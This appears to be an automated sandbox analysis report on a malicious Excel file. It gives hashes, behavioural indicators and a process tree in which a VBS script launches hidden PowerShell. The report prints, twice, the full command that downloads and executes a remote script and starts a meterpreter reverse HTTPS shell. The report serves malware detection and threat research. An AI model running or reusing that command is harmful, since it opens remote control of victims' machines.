Analysis
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max time kernel
47s -
max time network
38s -
platform
windows10-2004_x64 -
resource
win10v2004-20240704-en -
resource tags
arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system -
submitted
08-07-2024 22:29
Behavioral task
behavioral1
Sample
e1fd15634a2886d0ac9574f1c462c895e374a5f8b8a88321a6242abed400f111.xls
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
e1fd15634a2886d0ac9574f1c462c895e374a5f8b8a88321a6242abed400f111.xls
Resource
win10v2004-20240704-en
General
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Target
e1fd15634a2886d0ac9574f1c462c895e374a5f8b8a88321a6242abed400f111.xls
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Size
44KB
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MD5
c75e74d9a3c2057a5f53f4eed1fd7d52
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SHA1
06279205c38c809a596bc25c3ebade01a1aaf55f
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SHA256
e1fd15634a2886d0ac9574f1c462c895e374a5f8b8a88321a6242abed400f111
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SHA512
a8b8ea46df6bf43bda2d23b4943b8732cc69f6404c839649570c42004a919fe668a19760bb4ea363b7e023f291a1c358f4041b0ca1c3868632444e563166382b
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SSDEEP
768:Ctvo+rzZk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJxSjWRJFlmQQc82J9acM9acyL:qZk3hbdlylKsgqopeJBWhZFGkE+cL2Nc
Malware Config
Extracted
https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1
Signatures
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4992 1744 powershell.exe 82 Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4480 2604 wscript.exe 81 -
Blocklisted process makes network request 2 IoCs
flow pid Process 10 464 powershell.exe 11 4992 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 4992 powershell.exe 464 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3642458265-1901903390-453309326-1000\Control Panel\International\Geo\Nation wscript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 9 raw.githubusercontent.com 10 raw.githubusercontent.com 11 raw.githubusercontent.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2604 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4992 powershell.exe 4992 powershell.exe 464 powershell.exe 464 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4992 powershell.exe Token: SeDebugPrivilege 464 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE 2604 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2604 wrote to memory of 4480 2604 EXCEL.EXE 87 PID 2604 wrote to memory of 4480 2604 EXCEL.EXE 87 PID 4480 wrote to memory of 464 4480 wscript.exe 88 PID 4480 wrote to memory of 464 4480 wscript.exe 88
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\e1fd15634a2886d0ac9574f1c462c895e374a5f8b8a88321a6242abed400f111.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2604 -
C:\Windows\SYSTEM32\wscript.exewscript C:\Users\Public\config.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4480 -
C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:464
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4992
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize4KB
MD5f4c5caf44082b1eee0569cd10f18950c
SHA111567aa58a70bba2a3d31580ce7ccb6f63df4292
SHA256c947ee7e39262c01ccb85df77ea004bdc46a2833e8ac1514110484c08f2675a7
SHA5122de4267cdefbeca6d8371c89be7e9c0f0972a0f9e04c1d9e6cad8fcdd1e7c8248dd21aba38c107bf9a76f9f2fc5794edccecc2906511b527e1fe5667239df44b
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Filesize
461B
MD5ce52ab154163c511f0efa6a61e22ab64
SHA19f12cc215e15802eddcb02cb5370ef16b21fa3a6
SHA256df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17
SHA512cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78